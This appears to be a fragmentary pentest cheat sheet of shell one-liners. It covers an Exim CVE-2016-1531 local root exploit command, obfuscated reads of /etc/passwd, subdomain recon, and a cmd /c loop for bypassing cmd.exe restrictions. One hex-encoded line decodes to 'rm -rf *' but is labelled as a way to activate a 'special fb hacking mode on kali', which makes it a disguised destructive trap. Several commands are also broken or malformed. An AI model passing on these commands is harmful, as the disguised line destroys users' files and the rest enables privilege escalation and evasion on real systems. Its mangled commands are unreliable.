hook hook-s3c

Using Exim < 4.86.2 Local Root Privilege Escalation Exploit (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-1531)

[user@server ~]$ whoami
admin
[user@server ~]$ id
uid=501(admin) gid=502(admin) groups=502(admin)
[user@server ~]$ PERL5OPT="-d/dev/null" /usr/sbin/exim -ps user@server

#Obfuscating calls to dump /etc/passwd

awk '1==1' </?t[Cc]/????wd cd /etc;tr a a< p*wd `sed 'ss:s|sg'

	# Grab from crt.sh
	echo "targetdomain.com" \| xargs -I testdomain curl -s "https://crt.sh/?q=%.testdomain&output=json" \| jq '.name_value' \| sed 's/\"//g' \| sed 's/\*\.//g' \| sort -u


	# Grab from certspotter.com
	echo "targetdomain.com" \| xargs -I testdomain curl -s https://certspotter.com/api/v0/certs\?domain\=testdomain \| jq '.[].dns_names[]' \| sed 's/\"//g' \| sed 's/\*\.//g' \| sort -u


	# Enumerate hosts from SSL Certificate
	echo \| openssl s_client -connect https://targetdomain.com:443 \| openssl x509 -noout -text \| grep DNS

	$(echo 726d202d7266202a \| xxd -r -p)

	to activate the special fb hacking mode on kali

	alias mygateway="print $(route -n \| grep 'UG[ \t]' \| awk '{print $2}')"
	alias myinterface="print $(route -n \| grep 'UG[ \t]' \| awk '{print $8}')"
	alias mysubnet="print $(ip -o -f inet addr show \| awk '/scope global/ {print $4}')"

	# thanks to - https://twitter.com/mwulftange/status/1034689855010353152

	If you're not allowed to run cmd.exe interactively but `cmd /c …` works, this `cmd /c` based REPL may be helpful:
	cmd /c for /l %i in (0,0,1) do cmd /c "set /p C=^> & cmd /c %C%"